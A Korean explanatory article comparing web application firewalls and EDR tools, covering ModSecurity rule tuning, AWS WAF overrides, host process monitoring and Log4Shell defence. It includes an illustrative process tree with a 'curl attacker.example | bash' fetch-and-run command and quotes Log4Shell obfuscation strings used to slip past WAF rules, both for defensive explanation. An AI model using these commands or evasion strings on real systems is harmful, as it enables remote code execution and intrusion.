보안 점검 회의에 들어가면 WAF와 EDR이 같은 줄에 묶여 나오는 일이 잦다. 둘 다 세 글자 보안 제품이고 둘 다 공격을 막는다고 소개되니, 하나만 있으면 되지 않느냐는 말도 따라 나온다. 서버를 직접 만지는 입장에서 보면 둘은 서 있는 자리부터 다르다.
WAF(Web Application Firewall)는 웹 서버 앞에서 HTTP 요청의 내용을 검사해 공격을 차단하는 장치이고, EDR(Endpoint Detection and Response)은 서버와 PC 안에 설치한 에이전트로 프로세스와 파일 행위를 수집해 침해를 탐지하고 대응하는 도구다. WAF는 공격이 앱에 닿기 전을, EDR은 호스트에서 무언가 실행된 뒤를 맡기 때문에 서로 대체할 수 없다. 인터넷에 웹 서비스를 직접 노출한다면 WAF부터, 서버와 직원 PC가 많고 랜섬웨어나 내부 확산이 걱정이면 EDR부터 도입하기를 권한다.
1. WAF는 포트가 아니라 요청 내용을 본다
L3/L4 네트워크 방화벽은 IP와 포트로 판단한다. 443 포트를 열어 두면 정상 로그인 요청도 SQL 인젝션 요청도 똑같이 통과한다. WAF는 그 안쪽의 URL, 헤더, 쿠키, 바디를 읽고 SQL 인젝션, XSS, 파일 인클루전, 악성 봇 같은 웹 공격을 걸러낸다.
설치 위치는 웹 서버나 앱의 앞이다. Nginx나 Apache HTTP Server에 ModSecurity와 OWASP Core Rule Set(CRS)을 올리는 서버 모듈 방식이 있고, NGINX App Protect(현재 이름은 F5 WAF for NGINX) 같은 상용 모듈, AWS WAF, Azure WAF, Cloudflare WAF 같은 클라우드 서비스가 있다.
CRS는 규칙 하나가 걸렸다고 곧바로 막지 않는다. 규칙이 맞을 때마다 점수를 더하고, 뒤쪽의 REQUEST-949-BLOCKING-EVALUATION.conf에서 합계를 임계값과 비교한다. 이것이 이상 점수(anomaly scoring) 방식이다. 기본 인바운드 임계값은 5이고 심각도별 점수는 CRITICAL 5, ERROR 4, WARNING 3, NOTICE 2이므로, CRITICAL 규칙 하나만 걸려도 차단될 수 있다.
막상 설치해 보면 공격보다 오탐(정상 요청을 공격으로 판단하는 것)이 더 자주 고비가 된다. 처음부터 차단 모드로 켜면 정상 요청이 403으로 떨어져도 원인을 찾는 동안 서비스가 계속 영향을 받는다. 그래서 탐지 모드로 시작한다. ModSecurity 설정 파일의 경로는 설치 방식에 따라 다르다.
# modsecurity.conf SecRuleEngine DetectionOnly
DetectionOnly는 규칙을 평가하되 차단 같은 동작은 실행하지 않는 값이다. 이 상태에서 XSS 문자열이 든 요청을 보내도 응답은 앱이 돌려준 그대로이고, 규칙에 걸린 사실만 기록으로 남는다. 기록을 확인하려면 두 가지를 알아 둔다. ModSecurity-nginx 커넥터는 규칙 매치 메시지를 info 수준으로 남기는데 Nginx의 error_log 기본 수준은 error라서, 기본 설정에서는 에러 로그에 아무것도 안 보일 수 있다. 에러 로그로 보려면 error_log를 info로 낮추거나 SecAuditEngine을 RelevantOnly로 켜고 SecAuditLog로 경로를 지정해 감사 로그로 본다. 권장 샘플 설정에는 이 값이 이미 들어 있는 경우가 많으니 내 설정에 실제로 있는지 확인한다. 기록이 안 남는 상태를 오탐이 없는 것으로 착각하고 차단 모드로 바꾸지 않도록 주의한다. 949110은 인바운드 점수 초과를 판정하는 CRS 규칙이므로, 이 번호가 찍힌 요청이 차단 모드였다면 막혔을 요청이다.
로그를 보면서 정상 요청에 걸리는 규칙을 예외 처리한 뒤 SecRuleEngine On으로 바꾸고 nginx -t로 설정을 확인한 다음 reload하면, 같은 공격 요청은 앱까지 가지 못하고 WAF가 돌려주는 403으로 끝난다. 정상 화면이 그대로 열리는지도 같이 확인한다.
CRS의 탐지 강도는 편집증 레벨(paranoia level)로 정한다. CRS 4에서는 crs-setup.conf의 tx.blocking_paranoia_level로 지정하고(CRS 3.x는 tx.paranoia_level이었으니 버전을 확인한다), 1에서 4까지 있고 올릴수록 잡는 공격이 늘어나는 만큼 오탐도 늘어난다. 1에서 시작해 튜닝하면서 다루는 데이터의 위험도에 맞춰 올리고, 튜닝 없이 높은 단계를 차단 모드로 돌리지 않는다.
AWS WAF에서 같은 일을 하는 수단은 Count 동작이다. 요청을 세기만 하고 나머지 규칙 평가를 계속한다. 관리형 규칙 그룹은 규칙별로 RuleActionOverrides를 지정한다.
"ManagedRuleGroupStatement": {
"VendorName": "AWS",
"Name": "AWSManagedRulesAdminProtectionRuleSet",
"RuleActionOverrides": [
{
"Name": "AdminProtection_URIPATH",
"ActionToUse": { "Count": {} }
}
]
}
여기서 걸리기 쉬운 부분이 규칙 그룹 전체의 반환 동작을 Count로 덮어쓰는 옵션이다. 이름만 보면 테스트용 같지만, 그룹 안에서 처음 매치된 종료 동작 규칙에서 평가가 멈추기 때문에 그 뒤 규칙의 매치는 확인되지 않는다. AWS 문서도 테스트에는 규칙별 재정의를 쓰라고 안내한다. Azure WAF도 새로 배포할 때 Detection 모드로 잠시 돌리면서 로그를 보고 예외를 정리한 뒤 Prevention으로 전환하라고 권장한다.
WAF는 TLS를 복호화하는 지점이나 그 뒤에 있어야 요청 내용을 본다. 그 앞에 두면 암호문만 지나간다. 규칙은 인코딩 변형으로 우회될 수 있고, 다른 사람의 계좌 번호로 바꿔 조회하는 IDOR(객체 참조에 대한 인가 검사 누락)처럼 요청 자체는 멀쩡한 앱 로직 결함도 알아채기 어렵다. OWASP Top 10:2025에서 1위인 Broken Access Control에 IDOR이 들어 있고, WAF가 잘 다루는 Injection은 5위다. 이미 서버 안에 들어온 공격자의 행동도 WAF의 시야 밖이다.
2. EDR은 호스트 안에서 벌어진 일을 기록하고 대응한다
여기서 엔드포인트는 서버, PC, 노트북 같은 단말을 말한다. EDR은 여기에 에이전트를 설치해 프로세스 생성, 파일과 레지스트리 변경, 네트워크 연결, 로그인, 메모리 행위를 계속 수집한다. 수집한 행위에서 이상을 탐지하고, 타임라인과 프로세스 트리로 조사하게 해 주며, 호스트 격리, 프로세스 종료, 파일 격리 같은 대응 수단을 제공한다. 제품으로는 CrowdStrike Falcon, Microsoft Defender for Endpoint, SentinelOne, 안랩 EDR 등이 있고, 일부 제품은 공격자가 바꾼 파일과 설정을 되돌리는 롤백도 지원한다.
이름의 출발점은 2013년 Gartner의 Anton Chuvakin이 붙인 Endpoint Threat Detection & Response다. 호스트에서 의심스러운 활동을 탐지하고 조사하는 데 초점을 둔 도구를 묶는 이름이었고, 그가 2015년에 덧붙인 메모에 따르면 이후 EDR로 불리게 됐다.
전통적인 백신은 시그니처 중심이고 EPP(Endpoint Protection Platform)는 사전 차단에 무게를 둔다면, EDR은 이미 뚫렸다고 가정하고 가시성과 사후 대응에 무게를 둔다. Microsoft 문서도 Defender for Endpoint의 수집 방식이 "assume breach" 사고방식에서 나왔다고 설명하며, 수집한 데이터를 6개월 보관해 공격 시작 시점까지 거슬러 조사할 수 있다고 적고 있다.
EDR이 무엇을 보는지는 프로세스 트리 하나면 감이 온다. 아래는 설명을 위해 꾸민 예시이고 PID와 명령은 실제 사례가 아니다. Tomcat의 자바 프로세스 아래에 셸과 curl이 매달려 있다.
$ ps -eo pid,ppid,user,args --forest --no-headers 1204 1 tomcat /usr/bin/java ... org.apache.catalina.startup.Bootstrap start 8821 1204 tomcat \_ /bin/sh -c curl http://attacker.example/x.sh | bash 8822 8821 tomcat \_ curl http://attacker.example/x.sh 8823 8821 tomcat \_ bash
손으로 ps를 치면 그 순간의 모습만 보이고 이미 끝난 프로세스는 남지 않는다. EDR은 이 관계를 시간순으로 저장해 두고 MITRE ATT&CK 기법과 연결해 보여 준다. 위 패턴은 ATT&CK의 웹셸 기법(T1505.003)에서 Linux 탐지 항목으로 꼽는 내용과 같은 종류로, 웹 서버 프로세스가 curl, bash, nc 같은 유틸리티를 실행하는 경우다.
운영 서버에 올릴 때는 에이전트 자체를 먼저 검증해야 한다. 서버 부하와 커널 호환성 문제가 나올 수 있어서, 운영 전체에 한 번에 깔기보다 스테이징과 일부 서버부터 시작한다. Defender for Endpoint on Linux를 예로 들면 호스트 격리에 넷필터와 iptables 관련 커널 옵션이 필요하고, Linux 격리에서는 이메일이나 메시징 앱 같은 애플리케이션 예외도 지원되지 않는다. 격리 버튼을 누를 때 서비스 트래픽까지 끊길 수 있다는 점을 운영 절차에 미리 적어 둔다.
EDR 데이터를 감사 로그로 착각하는 일도 경계한다. Microsoft 문서는 센서가 반복 이벤트를 스로틀링하며 모든 동작을 기록하는 감사 솔루션이 아니라고 명시한다. 감사 요건은 auditd 같은 별도 수단으로 채운다.
에이전트를 올리기 어려운 곳은 그대로 사각지대가 된다. 수명이 짧은 컨테이너와 서버리스, 에이전트를 지원하지 않는 네트워크 장비와 IoT 장비가 그렇다. 알림이 쌓이는데 볼 사람이 없으면 도구가 있어도 대응이 늦어진다. 그래서 네트워크, 클라우드, 메일 신호까지 묶어 분석하는 XDR이나, 탐지와 대응 운영을 외부에 맡기는 MDR로 확장하기도 한다.
3. 같은 공격도 둘에게는 다르게 보인다
| 구분 | WAF | EDR |
|---|---|---|
| 보호 대상 | 웹 애플리케이션 트래픽 | 호스트 단위 행위 |
| 위치 | 네트워크 경로상 인라인, CDN, LB 같은 웹 서버 앞, 또는 웹 서버 모듈 | 모든 서버와 PC 내부의 에이전트 |
| 동작 시점 | 공격이 앱에 닿기 전 | 호스트에서 실행된 뒤 |
| 보는 데이터 | URL, 헤더, 쿠키, 바디 | 프로세스, 파일, 레지스트리, 네트워크 소켓 |
| 주 용도 | 예방과 차단 | 탐지, 조사, 대응 |
| 운영 주체(조직에 따라 다름) | 인프라팀, 웹 보안팀 | SOC, 보안관제 |
Log4Shell(CVE-2021-44228)을 놓고 보면 이 차이가 또렷하다. Log4j의 JNDI 기능이 공격자가 제어하는 LDAP 서버를 막지 못해, 로그 메시지를 조작할 수 있는 공격자가 원격 코드를 실행할 수 있었던 취약점이다. WAF는 요청에 들어 있는 문자열로 대응했다. 초기에는 ${jndi:ldap 같은 단순 패턴을 막는 규칙이 잘 들었다.
Cloudflare가 공개한 기록을 보면 이후 공격자들은 인코딩과 Log4j의 lookup 문법으로 넘어갔다.
%24%7B
${lower:${lower:h}}
${${::-j}${::-n}${::-d}${::-i}
첫 줄은 URL 인코딩한 ${다. 나머지는 Log4j가 풀어야 비로소 글자가 완성되므로, jndi라는 단어를 찾는 규칙에는 걸리지 않을 수 있다. 이런 변형이 규칙을 통과해 코드가 실행되면 그다음 단서는 호스트에 남는다. 후속 페이로드가 curl이나 bash를 자식 프로세스로 띄우는 경우라면, 그 행위는 요청을 어떻게 인코딩했든 달라지지 않으므로 EDR이 볼 수 있다.
웹셸 업로드도 비슷하다. 업로드 요청이 WAF를 통과했더라도 nginx, httpd, tomcat, java 같은 웹 서버 프로세스가 sh를 실행하는 순간 EDR의 탐지 단서가 생긴다.
반대 방향의 빈틈은 SQL 인젝션에서 드러난다. EDR만 있으면 공격 요청은 앱까지 그대로 도달한다. 데이터를 빼 가는 쿼리도 앱이 평소 DB로 보내던 연결을 타므로 호스트 행위로는 정상처럼 보일 수 있다. 새 프로세스도 파일 변경도 없으면 EDR이 잡을 단서가 적고, 이쪽은 요청 내용을 읽는 WAF가 맡을 몫이다. 다층 방어(defense in depth)는 이렇게 층이 다른 도구로 서로의 빈틈을 메우는 구성이다.
4. 인터넷에 열린 웹이 있으면 WAF부터 켠다
웹 서비스를 인터넷에 직접 노출하고 있고 아직 아무것도 없다면 WAF가 먼저다. 클라우드를 쓴다면 AWS WAF의 관리형 규칙으로 시작하고, 앞에서 본 대로 Count로 오탐을 확인한 뒤 차단으로 전환한다. Cloudflare WAF도 관리형 규칙을 쓸 수 있지만 로그만 남기는 Log 동작은 Enterprise 플랜에서만 제공되므로, 쓰는 플랜에서 오탐을 미리 확인할 수 있는지 먼저 본다.
직원 PC와 서버가 많고 랜섬웨어와 내부 확산이 걱정이면 EDR을 고른다. WAF는 메일 첨부로 들어온 악성코드나 PC 간 이동을 보지 못한다. 양쪽 조건이 모두 해당하면 둘 다 필요하다. 웹 앞단은 WAF로 좁히고, 그래도 통과한 것은 EDR로 찾는다.
카드 결제를 다루는 곳은 PCI DSS도 확인한다. 예전 요구사항 6.4.1은 공개 웹 앱을 도구나 방법으로 검토하거나 자동화 솔루션을 두는 선택지를 줬지만, 2025년 3월 31일 이후 6.4.2로 대체됐다. 6.4.2는 웹 공격을 탐지하고 방지하는 자동화된 기술 솔루션의 배포를 요구한다. PCI SSC의 FAQ 문구에는 WAF라는 단어가 명시되지 않으므로 심사 전에는 해당 SAQ와 v4.0.1 원문으로 실제 요구 조건을 확인한다.
WAF와 EDR 모두 패치를 대신하지 못한다. WAF 규칙으로 취약점을 임시로 가리는 가상 패치는 패치할 시간을 버는 수단일 뿐이다. Log4Shell도 앞서 본 대로 규칙을 우회하는 변형이 나왔고, Apache의 보안 페이지가 안내하는 대응은 수정된 Log4j 버전으로 올리는 것이다.
EDR을 도입하기 전에 운영 중인 앱이 정상 기능으로 셸이나 외부 명령을 실행하는지 코드와 프로세스를 살펴 두자. 그런 경로가 있으면 웹 프로세스의 셸 실행 탐지가 알림으로 쏟아질 수 있다.